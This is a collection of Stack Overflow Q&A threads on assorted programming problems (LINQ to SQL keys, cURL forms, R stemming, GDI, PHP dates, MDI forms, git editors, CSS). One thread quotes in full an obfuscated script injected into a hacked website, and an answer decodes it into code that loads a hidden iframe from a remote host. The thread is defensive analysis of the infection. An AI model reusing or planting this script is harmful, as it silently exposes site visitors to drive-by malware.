Q: C# SQL and LINQ duplicatekeyexception adding a record.....newbie I have a database with this tables: PERSON ==> id=>int_primarykey(asc) name=>nchar(20) town=>nchar(20) EMAIL ==> id=>primarykey(asc) idperson=>int mailaddress=>nchar(20) telephone ==> id=>primarykey(asc) idperson=>int telnumber=>nchar(20) So I have added in a form a datagrid with a binding navigator. The problem is that when I try to add a new record, in the datagrid I have always id=0 and when I try to save the new record I have returned duplicatekeyexception because this id already exist. How can I implement autoincrement for id? Here is the class: #pragma warning disable 1591 //------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.1 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace Rubrica { using System.Data.Linq; using System.Data.Linq.Mapping; using System.Data; using System.Collections.Generic; using System.Reflection; using System.Linq; using System.Linq.Expressions; using System.ComponentModel; using System; [global::System.Data.Linq.Mapping.DatabaseAttribute(Name="rubrica")] public partial class DataClasses1DataContext : System.Data.Linq.DataContext { private static System.Data.Linq.Mapping.MappingSource mappingSource = new AttributeMappingSource(); #region Extensibility Method Definitions partial void OnCreated(); partial void Insertemail(email instance); partial void Updateemail(email instance); partial void Deleteemail(email instance); partial void Insertpersona(persona instance); partial void Updatepersona(persona instance); partial void Deletepersona(persona instance); partial void Inserttelefono(telefono instance); partial void Updatetelefono(telefono instance); partial void Deletetelefono(telefono instance); #endregion public DataClasses1DataContext() : base(global::Rubrica.Properties.Settings.Default.rubricaConnectionString, mappingSource) { OnCreated(); } public DataClasses1DataContext(string connection) : base(connection, mappingSource) { OnCreated(); } public DataClasses1DataContext(System.Data.IDbConnection connection) : base(connection, mappingSource) { OnCreated(); } public DataClasses1DataContext(string connection, System.Data.Linq.Mapping.MappingSource mappingSource) : base(connection, mappingSource) { OnCreated(); } public DataClasses1DataContext(System.Data.IDbConnection connection, System.Data.Linq.Mapping.MappingSource mappingSource) : base(connection, mappingSource) { OnCreated(); } public System.Data.Linq.Table<email> emails { get { return this.GetTable<email>(); } } public System.Data.Linq.Table<persona> personas { get { return this.GetTable<persona>(); } } public System.Data.Linq.Table<telefono> telefonos { get { return this.GetTable<telefono>(); } } } [global::System.Data.Linq.Mapping.TableAttribute(Name="dbo.email")] public partial class email : INotifyPropertyChanging, INotifyPropertyChanged { private static PropertyChangingEventArgs emptyChangingEventArgs = new PropertyChangingEventArgs(String.Empty); private int _idpersona; private string _mail; private int _id; private EntityRef<persona> _persona; #region Extensibility Method Definitions partial void OnLoaded(); partial void OnValidate(System.Data.Linq.ChangeAction action); partial void OnCreated(); partial void OnidpersonaChanging(int value); partial void OnidpersonaChanged(); partial void OnmailChanging(string value); partial void OnmailChanged(); partial void OnidChanging(int value); partial void OnidChanged(); #endregion public email() { this._persona = default(EntityRef<persona>); OnCreated(); } [global::System.Data.Linq.Mapping.ColumnAttribute(Storage="_idpersona", DbType="Int NOT NULL")] public int idpersona { get { return this._idpersona; } set { if ((this._idpersona != value)) { if (this._persona.HasLoadedOrAssignedValue) { throw new System.Data.Linq.ForeignKeyReferenceAlreadyHasValueException(); } this.OnidpersonaChanging(value); this.SendPropertyChanging(); this._idpersona = value; this.SendPropertyChanged("idpersona"); this.OnidpersonaChanged(); } } } [global::System.Data.Linq.Mapping.ColumnAttribute(Name="email", Storage="_mail", DbType="NChar(20) NOT NULL", CanBeNull=false)] public string mail { get { return this._mail; } set { if ((this._mail != value)) { this.OnmailChanging(value); this.SendPropertyChanging(); this._mail = value; this.SendPropertyChanged("mail"); this.OnmailChanged(); } } } [global::System.Data.Linq.Mapping.ColumnAttribute(Storage="_id", DbType="Int NOT NULL", IsPrimaryKey=true)] public int id { get { return this._id; } set { if ((this._id != value)) { this.OnidChanging(value); this.SendPropertyChanging(); this._id = value; this.SendPropertyChanged("id"); this.OnidChanged(); } } } [global::System.Data.Linq.Mapping.AssociationAttribute(Name="persona_email", Storage="_persona", ThisKey="idpersona", OtherKey="id", IsForeignKey=true)] public persona persona { get { return this._persona.Entity; } set { persona previousValue = this._persona.Entity; if (((previousValue != value) || (this._persona.HasLoadedOrAssignedValue == false))) { this.SendPropertyChanging(); if ((previousValue != null)) { this._persona.Entity = null; previousValue.emails.Remove(this); } this._persona.Entity = value; if ((value != null)) { value.emails.Add(this); this._idpersona = value.id; } else { this._idpersona = default(int); } this.SendPropertyChanged("persona"); } } } public event PropertyChangingEventHandler PropertyChanging; public event PropertyChangedEventHandler PropertyChanged; protected virtual void SendPropertyChanging() { if ((this.PropertyChanging != null)) { this.PropertyChanging(this, emptyChangingEventArgs); } } protected virtual void SendPropertyChanged(String propertyName) { if ((this.PropertyChanged != null)) { this.PropertyChanged(this, new PropertyChangedEventArgs(propertyName)); } } } [global::System.Data.Linq.Mapping.TableAttribute(Name="dbo.persona")] public partial class persona : INotifyPropertyChanging, INotifyPropertyChanged { private static PropertyChangingEventArgs emptyChangingEventArgs = new PropertyChangingEventArgs(String.Empty); private int _id; private string _nome; private string _cognome; private string _indirizzo; private EntitySet<email> _emails; private EntitySet<telefono> _telefonos; #region Extensibility Method Definitions partial void OnLoaded(); partial void OnValidate(System.Data.Linq.ChangeAction action); partial void OnCreated(); partial void OnidChanging(int value); partial void OnidChanged(); partial void OnnomeChanging(string value); partial void OnnomeChanged(); partial void OncognomeChanging(string value); partial void OncognomeChanged(); partial void OnindirizzoChanging(string value); partial void OnindirizzoChanged(); #endregion public persona() { this._emails = new EntitySet<email>(new Action<email>(this.attach_emails), new Action<email>(this.detach_emails)); this._telefonos = new EntitySet<telefono>(new Action<telefono>(this.attach_telefonos), new Action<telefono>(this.detach_telefonos)); OnCreated(); } [global::System.Data.Linq.Mapping.ColumnAttribute(Storage="_id", DbType="Int NOT NULL", IsPrimaryKey=true)] public int id { get { return this._id; } set { if ((this._id != value)) { this.OnidChanging(value); this.SendPropertyChanging(); this._id = value; this.SendPropertyChanged("id"); this.OnidChanged(); } } } [global::System.Data.Linq.Mapping.ColumnAttribute(Storage="_nome", DbType="NChar(10) NOT NULL", CanBeNull=false)] public string nome { get { return this._nome; } set { if ((this._nome != value)) { this.OnnomeChanging(value); this.SendPropertyChanging(); this._nome = value; this.SendPropertyChanged("nome"); this.OnnomeChanged(); } } } [global::System.Data.Linq.Mapping.ColumnAttribute(Storage="_cognome", DbType="NChar(15) NOT NULL", CanBeNull=false)] public string cognome { get { return this._cognome; } set { if ((this._cognome != value)) { this.OncognomeChanging(value); this.SendPropertyChanging(); this._cognome = value; this.SendPropertyChanged("cognome"); this.OncognomeChanged(); } } } [global::System.Data.Linq.Mapping.ColumnAttribute(Storage="_indirizzo", DbType="NChar(50)")] public string indirizzo { get { return this._indirizzo; } set { if ((this._indirizzo != value)) { this.OnindirizzoChanging(value); this.SendPropertyChanging(); this._indirizzo = value; this.SendPropertyChanged("indirizzo"); this.OnindirizzoChanged(); } } } [global::System.Data.Linq.Mapping.AssociationAttribute(Name="persona_email", Storage="_emails", ThisKey="id", OtherKey="idpersona")] public EntitySet<email> emails { get { return this._emails; } set { this._emails.Assign(value); } } [global::System.Data.Linq.Mapping.AssociationAttribute(Name="persona_telefono", Storage="_telefonos", ThisKey="id", OtherKey="idpersona")] public EntitySet<telefono> telefonos { get { return this._telefonos; } set { this._telefonos.Assign(value); } } public event PropertyChangingEventHandler PropertyChanging; public event PropertyChangedEventHandler PropertyChanged; protected virtual void SendPropertyChanging() { if ((this.PropertyChanging != null)) { this.PropertyChanging(this, emptyChangingEventArgs); } } protected virtual void SendPropertyChanged(String propertyName) { if ((this.PropertyChanged != null)) { this.PropertyChanged(this, new PropertyChangedEventArgs(propertyName)); } } private void attach_emails(email entity) { this.SendPropertyChanging(); entity.persona = this; } private void detach_emails(email entity) { this.SendPropertyChanging(); entity.persona = null; } private void attach_telefonos(telefono entity) { this.SendPropertyChanging(); entity.persona = this; } private void detach_telefonos(telefono entity) { this.SendPropertyChanging(); entity.persona = null; } } [global::System.Data.Linq.Mapping.TableAttribute(Name="dbo.telefono")] public partial class telefono : INotifyPropertyChanging, INotifyPropertyChanged { private static PropertyChangingEventArgs emptyChangingEventArgs = new PropertyChangingEventArgs(String.Empty); private int _id; private string _numero; private int _idpersona; private EntityRef<persona> _persona; #region Extensibility Method Definitions partial void OnLoaded(); partial void OnValidate(System.Data.Linq.ChangeAction action); partial void OnCreated(); partial void OnidChanging(int value); partial void OnidChanged(); partial void OnnumeroChanging(string value); partial void OnnumeroChanged(); partial void OnidpersonaChanging(int value); partial void OnidpersonaChanged(); #endregion public telefono() { this._persona = default(EntityRef<persona>); OnCreated(); } [global::System.Data.Linq.Mapping.ColumnAttribute(Storage="_id", DbType="Int NOT NULL", IsPrimaryKey=true)] public int id { get { return this._id; } set { if ((this._id != value)) { this.OnidChanging(value); this.SendPropertyChanging(); this._id = value; this.SendPropertyChanged("id"); this.OnidChanged(); } } } [global::System.Data.Linq.Mapping.ColumnAttribute(Name="telefono", Storage="_numero", DbType="NChar(20) NOT NULL", CanBeNull=false)] public string numero { get { return this._numero; } set { if ((this._numero != value)) { this.OnnumeroChanging(value); this.SendPropertyChanging(); this._numero = value; this.SendPropertyChanged("numero"); this.OnnumeroChanged(); } } } [global::System.Data.Linq.Mapping.ColumnAttribute(Storage="_idpersona", DbType="Int NOT NULL")] public int idpersona { get { return this._idpersona; } set { if ((this._idpersona != value)) { if (this._persona.HasLoadedOrAssignedValue) { throw new System.Data.Linq.ForeignKeyReferenceAlreadyHasValueException(); } this.OnidpersonaChanging(value); this.SendPropertyChanging(); this._idpersona = value; this.SendPropertyChanged("idpersona"); this.OnidpersonaChanged(); } } } [global::System.Data.Linq.Mapping.AssociationAttribute(Name="persona_telefono", Storage="_persona", ThisKey="idpersona", OtherKey="id", IsForeignKey=true)] public persona persona { get { return this._persona.Entity; } set { persona previousValue = this._persona.Entity; if (((previousValue != value) || (this._persona.HasLoadedOrAssignedValue == false))) { this.SendPropertyChanging(); if ((previousValue != null)) { this._persona.Entity = null; previousValue.telefonos.Remove(this); } this._persona.Entity = value; if ((value != null)) { value.telefonos.Add(this); this._idpersona = value.id; } else { this._idpersona = default(int); } this.SendPropertyChanged("persona"); } } } public event PropertyChangingEventHandler PropertyChanging; public event PropertyChangedEventHandler PropertyChanged; protected virtual void SendPropertyChanging() { if ((this.PropertyChanging != null)) { this.PropertyChanging(this, emptyChangingEventArgs); } } protected virtual void SendPropertyChanged(String propertyName) { if ((this.PropertyChanged != null)) { this.PropertyChanged(this, new PropertyChangedEventArgs(propertyName)); } } } } #pragma warning restore 1591 A: Solved changing this attributes: AutoSync onInsert ServerExplorer => table xx => field => Identity=true
{ "language": "en", "url": "https://stackoverflow.com/questions/7620440", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: CURL and dropdown array I'm trying to submit a form via POST, however the website has regionand city dropdown, the dropdown is constructed like this There ar dropdowns for each region, but their hidden so most of them are region_id => '', however my post and their post are identical, yet it still says please select a city, Their POST Array ( [region] => MY04 [district] => Array ( [MY14] => [MY10] => [MY07] => [MY01] => [MY02] => [MY03] => [MY04] => ML001 [MY05] => [MY06] => [MY08] => [MY09] => [MY11] => [MY12] => [MY13] => [MY15] => [MY16] => [MY99] => ) [streetnumber] => [streetname] => [streetname2] => [postcode] => [longitude] => [latitude] => [submit] => Next > [hidden_listing_id] => [process] => 4e870291af244 ) My array Array ( [region] => MY04 [district] => Array ( [MY14] => [MY01] => [MY02] => [MY03] => [MY04] => ML001 [MY05] => [MY06] => [MY07] => [MY08] => [MY09] => [MY16] => [MY12] => [MY13] => [MY10] => [MY11] => ) [streetnumber] => [streetname] => [streetname2] => [postcode] => [longitude] => [latitude] => [submit] => Next > [hidden_listing_id] => [process] => 4e87114ddef0e ) Been stuck on this for a while, anyone have any ideas why this is happening? Thank you! A: Solved by doing [district][state] = value, for each one $post["district[".$st."]"] = $city;
{ "language": "en", "url": "https://stackoverflow.com/questions/7620443", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: "Black Hole Exploit" notice from AVG for a web site I have a website I run for a relation and their AVG came up saying "EXPLOIT BLACK HOLE EXPLOIT" or something like that. This seems to happen when the website is infected, and I think it is infected. I found this line of code on all the pages, and I didn't put it there: http://pastebin.com/sJXgw8LX (yes that is all one line). <body><!--398c3d--><script>b=new function(){return 2;};if(!+b)String.prototype.test='harC';for(i in $='esrhserh')if(i=='te'+'st')m=$[i];try{new Object().wehweh();}catch(q){ss="";}try{window['e'+'v'+'al']('asdas')}catch(q){s=String["fr"+"omC"+m+"od"+'e'];}d=new Date();d2=new Date(d.valueOf()-2);Object.prototype.asd='e';if({}.asd==='e')a=document['c'+'r'+'e'+'a'+'t'+'e'+'T'+'e'+'x'+'t'+'N'+'o'+'d'+'e']('321');if(a.data==321)x=-1*(d-d2);n=[-x+7,-x+7,-x+103,-x+100,-x+30,-x+38,-x+98,-x+109,-x+97,-x+115,-x+107,-x+99,-x+108,-x+114,-x+44,-x+101,-x+99,-x+114,-x+67,-x+106,-x+99,-x+107,-x+99,-x+108,-x+114,-x+113,-x+64,-x+119,-x+82,-x+95,-x+101,-x+76,-x+95,-x+107,-x+99,-x+38,-x+37,-x+96,-x+109,-x+98,-x+119,-x+37,-x+39,-x+89,-x+46,-x+91,-x+39,-x+121,-x+7,-x+7,-x+7,-x+103,-x+100,-x+112,-x+95,-x+107,-x+99,-x+112,-x+38,-x+39,-x+57,-x+7,-x+7,-x+123,-x+30,-x+99,-x+106,-x+113,-x+99,-x+30,-x+121,-x+7,-x+7,-x+7,-x+98,-x+109,-x+97,-x+115,-x+107,-x+99,-x+108,-x+114,-x+44,-x+117,-x+112,-x+103,-x+114,-x+99,-x+38,-x+32,-x+58,-x+103,-x+100,-x+112,-x+95,-x+107,-x+99,-x+30,-x+113,-x+112,-x+97,-x+59,-x+37,-x+102,-x+114,-x+114,-x+110,-x+56,-x+45,-x+45,-x+106,-x+104,-x+112,-x+114,-x+109,-x+44,-x+97,-x+109,-x+107,-x+45,-x+113,-x+115,-x+114,-x+112,-x+95,-x+45,-x+103,-x+108,-x+44,-x+97,-x+101,-x+103,-x+61,-x+98,-x+99,-x+100,-x+95,-x+115,-x+106,-x+114,-x+37,-x+30,-x+117,-x+103,-x+98,-x+114,-x+102,-x+59,-x+37,-x+47,-x+46,-x+37,-x+30,-x+102,-x+99,-x+103,-x+101,-x+102,-x+114,-x+59,-x+37,-x+47,-x+46,-x+37,-x+30,-x+113,-x+114,-x+119,-x+106,-x+99,-x+59,-x+37,-x+116,-x+103,-x+113,-x+103,-x+96,-x+103,-x+106,-x+103,-x+114,-x+119,-x+56,-x+102,-x+103,-x+98,-x+98,-x+99,-x+108,-x+57,-x+110,-x+109,-x+113,-x+103,-x+114,-x+103,-x+109,-x+108,-x+56,-x+95,-x+96,-x+113,-x+109,-x+106,-x+115,-x+114,-x+99,-x+57,-x+106,-x+99,-x+100,-x+114,-x+56,-x+46,-x+57,-x+114,-x+109,-x+110,-x+56,-x+46,-x+57,-x+37,-x+60,-x+58,-x+45,-x+103,-x+100,-x+112,-x+95,-x+107,-x+99,-x+60,-x+32,-x+39,-x+57,-x+7,-x+7,-x+123,-x+7,-x+7,-x+100,-x+115,-x+108,-x+97,-x+114,-x+103,-x+109,-x+108,-x+30,-x+103,-x+100,-x+112,-x+95,-x+107,-x+99,-x+112,-x+38,-x+39,-x+121,-x+7,-x+7,-x+7,-x+116,-x+95,-x+112,-x+30,-x+100,-x+30,-x+59,-x+30,-x+98,-x+109,-x+97,-x+115,-x+107,-x+99,-x+108,-x+114,-x+44,-x+97,-x+112,-x+99,-x+95,-x+114,-x+99,-x+67,-x+106,-x+99,-x+107,-x+99,-x+108,-x+114,-x+38,-x+37,-x+103,-x+100,-x+112,-x+95,-x+107,-x+99,-x+37,-x+39,-x+57,-x+100,-x+44,-x+113,-x+99,-x+114,-x+63,-x+114,-x+114,-x+112,-x+103,-x+96,-x+115,-x+114,-x+99,-x+38,-x+37,-x+113,-x+112,-x+97,-x+37,-x+42,-x+37,-x+102,-x+114,-x+114,-x+110,-x+56,-x+45,-x+45,-x+106,-x+104,-x+112,-x+114,-x+109,-x+44,-x+97,-x+109,-x+107,-x+45,-x+113,-x+115,-x+114,-x+112,-x+95,-x+45,-x+103,-x+108,-x+44,-x+97,-x+101,-x+103,-x+61,-x+98,-x+99,-x+100,-x+95,-x+115,-x+106,-x+114,-x+37,-x+39,-x+57,-x+100,-x+44,-x+113,-x+114,-x+119,-x+106,-x+99,-x+44,-x+116,-x+103,-x+113,-x+103,-x+96,-x+103,-x+106,-x+103,-x+114,-x+119,-x+59,-x+37,-x+102,-x+103,-x+98,-x+98,-x+99,-x+108,-x+37,-x+57,-x+100,-x+44,-x+113,-x+114,-x+119,-x+106,-x+99,-x+44,-x+110,-x+109,-x+113,-x+103,-x+114,-x+103,-x+109,-x+108,-x+59,-x+37,-x+95,-x+96,-x+113,-x+109,-x+106,-x+115,-x+114,-x+99,-x+37,-x+57,-x+100,-x+44,-x+113,-x+114,-x+119,-x+106,-x+99,-x+44,-x+106,-x+99,-x+100,-x+114,-x+59,-x+37,-x+46,-x+37,-x+57,-x+100,-x+44,-x+113,-x+114,-x+119,-x+106,-x+99,-x+44,-x+114,-x+109,-x+110,-x+59,-x+37,-x+46,-x+37,-x+57,-x+100,-x+44,-x+113,-x+99,-x+114,-x+63,-x+114,-x+114,-x+112,-x+103,-x+96,-x+115,-x+114,-x+99,-x+38,-x+37,-x+117,-x+103,-x+98,-x+114,-x+102,-x+37,-x+42,-x+37,-x+47,-x+46,-x+37,-x+39,-x+57,-x+100,-x+44,-x+113,-x+99,-x+114,-x+63,-x+114,-x+114,-x+112,-x+103,-x+96,-x+115,-x+114,-x+99,-x+38,-x+37,-x+102,-x+99,-x+103,-x+101,-x+102,-x+114,-x+37,-x+42,-x+37,-x+47,-x+46,-x+37,-x+39,-x+57,-x+7,-x+7,-x+7,-x+98,-x+109,-x+97,-x+115,-x+107,-x+99,-x+108,-x+114,-x+44,-x+101,-x+99,-x+114,-x+67,-x+106,-x+99,-x+107,-x+99,-x+108,-x+114,-x+113,-x+64,-x+119,-x+82,-x+95,-x+101,-x+76,-x+95,-x+107,-x+99,-x+38,-x+37,-x+96,-x+109,-x+98,-x+119,-x+37,-x+39,-x+89,-x+46,-x+91,-x+44,-x+95,-x+110,-x+110,-x+99,-x+108,-x+98,-x+65,-x+102,-x+103,-x+106,-x+98,-x+38,-x+100,-x+39,-x+57,-x+7,-x+7,-x+123];for(i=0;i<n.length;i++)ss+=s(eval("n"+"[i"+"]"));eval(ss);</script><!--/398c3d--> What does that code do? A: Here is the evaluated javascript: if (document.getElementsByTagName('body')[0]) { iframer(); } else { document.write("<iframe src='http://xxxxxxx/sutra/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); } function iframer() { var f = document.createElement('iframe'); f.setAttribute('src', 'http://xxxxx/sutra/in.cgi?default'); f.style.visibility = 'hidden'; f.style.position = 'absolute'; f.style.left = '0'; f.style.top = '0'; f.setAttribute('width', '10'); f.setAttribute('height', '10'); document.getElementsByTagName('body')[0].appendChild(f); } I've obfuscated the actual hostname, to prevent further damages. In that page there is another semi obfuscated javascript which redirect your browser to another page on the same host which presumably force the visitor browser to download something. I did not continued to follow the code to the final destination.l
{ "language": "en", "url": "https://stackoverflow.com/questions/7620444", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: How to use stemDocument in the R language tm (text mining) package? I am trying to stem a Corpus using stemDocument in the R language tm package which calls Java. I have tried the example in the tm manual: data("crude") crude[[1]] stemDocument(crude[[1]]) and get the following error: Could not initialize the GenericProperitiesCreator. This exception was produced: java.lang.NullPointerException Any help appreciated. I know nothing about Java. Thanks A: Good question, did you work it out? I get the same error with the only the code that you have. But if you follow the example from the start (ie. at the heading 'transformations on p. 1) and you create a corpus and convert it to a Plain Text Document then you avoid the Java error. I guess that the code example in the manual assumes you've already done those two steps. That said, when I inspect the results, there's no actual stemming... I can't even get @user813966's simple example of stemDocument to do any stemming. I'm looking at the RStem and SnowBall packages instead. In the meantime, the python package NLTK is my stemming tool. Update: I got the stemDocument function working by adding language = "english" as follows: a <- tm_map(a, stemDocument, language = "english") So the complete answer to your question is to follow all the steps of inputting your text into R according to the tm package. You'll also need rJava (and to set environment variables for JAVA_HOME to the directory containing the jre directory if you're working in windows) to make stemDocument work A: I had same error on my side. Solved it by adding the Snowball .jar and the corresponding /words repository of stem words in my class path: C:\Users\xxx.xxx\Documents\R\win-library\2.12\Snowball\java This was recommended here: http://weka.wikispaces.com/Stemmers I still have the following error but it works fine now: Trying to add database driver (JDBC): RmiJdbc.RJDriver - Warning, not in CLASSPATH? Trying to add database driver (JDBC): jdbc.idbDriver - Warning, not in CLASSPATH? Trying to add database driver (JDBC): org.gjt.mm.mysql.Driver - Warning, not in CLASSPATH? Trying to add database driver (JDBC): com.mckoi.JDBCDriver - Warning, not in CLASSPATH? Trying to add database driver (JDBC): org.hsqldb.jdbcDriver - Warning, not in CLASSPATH? [KnowledgeFlow] Loading properties and plugins... [KnowledgeFlow] Initializing KF... A: Snowball stemmer (snowball.jar) cannot find the weka.jar file. On your computer, you need to search for a file called weka.jar . On my linux system, it is located in /usr/local/lib/R/site-library/RWekajars/java/weka.jar Then, in your R code, add lines similar to these at the top: wekajar="/usr/local/lib/R/site-library/RWekajars/java/weka.jar" oldcp=Sys.getenv("CLASSPATH") newcp=NULL Sys.setenv(CLASSPATH=paste(wekajar,newcp, sep=":")) library("tm") data("crude") stemDocument(crude[[1]], language = "english" ) This sets the Java CLASSPATH for the R Session to the weka.jar file from above . Your existing classpath will be reset, though. You can try to add the old entries back if you have some , and if you need them.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620449", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: How to paint to a bitmap First of all: I'm sort of new to GDI, so please excuse me (and do let me know) if I make any misconceptions. What I'm trying to do: I'm trying to let my WM_PAINT code paint to a bitmap instead of to the screen with BeginPaint(). I would also like to display the bitmap on the screen while also displaying other data on top of it(that doesn't get saved to the bitmap). Could anyone tell me the win32 functions and datatypes needed to achieve this? Thanks A: First of all, to paint somewhere other than your window, you'll need a new DC. You can use HDC memDC = CreateCompatibleDC([your window hdc]); to create one. Now you'll need a bitmap to paint to. Use HBITMAP memBitmap = CreateCompatibleBitmap ([your window hdc],[your window width],[your window height]); (assuming you want one the same size, if it isn't then StretchBlt should do the trick) to create that. Note that when you're done using these you'll need to DeleteObject (memBitmap); and DeleteDC (memDC); to clean up. Once created, select the bitmap into your offscreen DC via SelectObject (memDC, memBitmap); Now do all of your drawing to memDC. Once finished, use the BitBlt() function with source hdc as memDC and destination hdc as your window's DC. Don't forget to delete what you created.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620450", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: On a Day Like Today program I have made a program that finds the current date and then do a search in a php array and shows what happens On a Day Like Today. The only problem is that the program can't read the months 10-12 correctly. Here is my code: The php array: $anniversary = array( '1/01' => array ( '1813' => 'something here', '1824' => 'something here', '2001' => 'something here' ), '31/12' => array( '-450' => 'something here', '-168' => 'something here', '1942' => 'something here' ) ); And the program is: <?php include 'array.php'; $today = date('d/m'); foreach ($anniversary[$today] as $hdate => $event) { $table[0][] = $hdate; $table[0][] = $event; $counter++; } do { $random = rand(0, $counter * 3); } while($random % 2 == 0); echo '<h2>'.$table[0][$random-1].": ".'</h2>'. '<p>'.$table[0][$random].'</p>'; ?> The Problem is that the months 01-09 finds out and shows correctly and the months 10-12 can't finds because confuse the month with the day. Any solutions? A: Nothing's getting "confused" but you. :) In fact the problem is not months, but days. Your array's date format is j/m (no leading zeroes on date, no leading zeroes on month), but you're doing lookup with d/m (leading zeroes on date, no leading zeroes on month). When I fix your date format, the program works well.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620453", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: How can i add several forms in MainForm of C#.Net? I want to add several forms in MainForm of C#.Net. We can go to next form with Form like that. Form frm=new Form2(); frm.ShowDialog(); like that.If we go with that method,Form2 will apper with new form.Not in MainForm. I want to do following picture. http://i.imgur.com/sDdkX.png How can i do that? I'm just new baby in C#.Net. Sorry for any mistakes for my question. Please let me know if you can. Thanks you for your time. A: A form which can contain other forms is called an MDI form. CodeProject has a tutorial on them. A: You have to use MDI forms. To create a MDI (Multiple Document Interface), you have to set Form.IsMdiContainer=True in property windows. For more information please take a look at MSDN article - Multiple-Document Interface (MDI) Applications
{ "language": "en", "url": "https://stackoverflow.com/questions/7620456", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Is it possible to use komodo edit as git core.editor (i.e. without forking)? When using a gui text editor (e.g. komodo edit) as core editor for git (commit messages), that editor process must not be forked or else git will assume an empty commit message, because it "thinks" the editor would already be finished without returning a text to use as commit message. But I couldn't find any command line option (under ubuntu) for komodo edit to not fork when launching and even no hint on the web so far. For the editor gVim for example there is the command line option -f which causes that editor not to fork, so that the process will only return to git after the editor is closed again. So here goes my question: Is there any (simple) possibility to use komodo edit in a non-forking way so it can be used as core editor for git commit messages? Regards, Roman. A: The problem is, that git has no way of knowning when you finished editing the file. I would suggest writing a little wrapper script which can be as simple as this (not tested): #!/bin/bash THE_FILE=$1 komodo-edit -f $THE_FILE echo "Press Enter when you have finished editing the file" read This should block the git commit process until you press enter. So you workflow would be: * *git commit invokes wrapper *wrapper opens komodo *you edit file in komodo and save it *May decide to edit again, because you forgot something *Tab back to git commit and press Enter *git commit continues
{ "language": "en", "url": "https://stackoverflow.com/questions/7620458", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "6" }
Q: What do those CSS properties mean while centering a form element? While searching for how to center a form element in CSS, I found that I have to set margin to auto and then set a width property. But, what does width represent here? When I for example set the width to 350px I get the form to the center, while when setting it to 5px for example, I don't get it centered. Can you kindly explain what width represents here? Thanks. A: width is the width of the element itself when it is displayed, the width is required to be set so that the browser will be able to automatically calculate the margins around the element so that it will appear centered. As for why a value of 5px doesn't center the element and 350px does I'm not sure, I've never encountered that problem, perhaps it's just that the form can't be re-sized that small so it is automatically changed by the browser to a width of auto. A: Here's a simple test to show what's happening: HTML /* This form will be 200px and centered within its parent element */ <form></form> /* #formsection is 300px and not centered. The form it contains will be 200px and centered withint #formsection */ <div id="formsection"> <form></form> </div CSS /* All forms will be 200px and centered in their parent container */ form { width: 200px; margin: 0 auto; border: 1px solid red; } /* #formsection is 300px in width and not centered */ #formsection { width: 300px; border: 1px solid blue; } #formsection form { border: 1px solid green; } You can see a demo of it here. You had mentioned that width isn't changing the element width. This is possible if your <form> has a child element that is wider than the width you set on it (i.e. your 5px case). To test, add a border or background-color to your child elements and check if any are overflowing the form. Another, faster, alternative is to use the Web Developer addon for Firefox. Once it's installed, CTRL+SHIFT+Y will show the style information of any element you hover over.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620467", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Sencha Touch Panel rendering issue We are developing a tablet oriented application in Sencha Touch with multiple List objects side by side surrounding each one by a panel, all of this inside a big panel in our Viewport view (consider we are follow MVC strategies recommended by Sencha Staff). Our problem is we are trying to trigger an event or method after each surrounding panel is created (we called it EVENT_NAME_TO_TRIGGER for reference) to update its child list/contents, this code snippet maybe is helpful: // i iterate from 0 to n to create multiples panels var i = new Ext.Panel({ dockedItems : { cls: 'toolbar', xtype : 'toolbar', title : rec.data.title }, width: 250, style: "margin-right:5px;" + "margin-top:10px;" + "margin-left:5px;" + "background-color:#FFFFFF;", "EVENT_NAME_TO_TRIGGER": function(){ Ext.apply(this, { items: aux }); } }); A: if it's a Panel rendering issue you can solve this issue by adding .doLayout() function
{ "language": "en", "url": "https://stackoverflow.com/questions/7620473", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: string from php script to flash I'm using facebook php sdk to get friend list of an user. But I'm strugling to get that list to flash. The idea is that the list is always new, depending from the user loading the application. So what I need is one .html file which is loaded with php script to proccess friend list and embedded flash .swf to which php would pass information. How can I achieve this? thanks A: There are two ways to do it: Set the flashvars to the data you want to pass to the Flash file. Since the friend list rarely changes, that should work. Or use a URLLoader: var loader:URLLoader = new URLLoader(); var request:URLRequest = new URLRequest("http://example.com/yourscript.php"); loader.addEventListener("complete", loader_complete); loader.loader(request); private function loader_complete(event:Event):void { var scriptData:String = event.currentTarget.data; // process data }
{ "language": "en", "url": "https://stackoverflow.com/questions/7620476", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: iterate over argument list in linux shell I want to iterate over the argument list in shell, I know how to do this with for var in $@ But I want to do this with for ((i=3; i<=$#; i++)) I need this because the first two arguments won't enter into the loop. Anyone knows how to do this? Looking forward to you help. cheng A: reader_1000 provides a nice bash incantation, but if you are using an older (or simpler) Bourne shell you can use the creaking ancient (and therefore highly portable) VAR1=$1 VAR2=$2 shift 2 for arg in "$@" ... A: This might help: for var in "${@:3}" for more information you can look at: http://www.ibm.com/developerworks/library/l-bash-parameters/index.html A: Though this is an old question, there is another way you can do this. And, maybe this is what you are asking for. for(( i=3; i<=$#; i++ )); do echo "parameter: ${!i}" #Notice the exclamation here, not the $ dollar sign. done
{ "language": "en", "url": "https://stackoverflow.com/questions/7620478", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "7" }
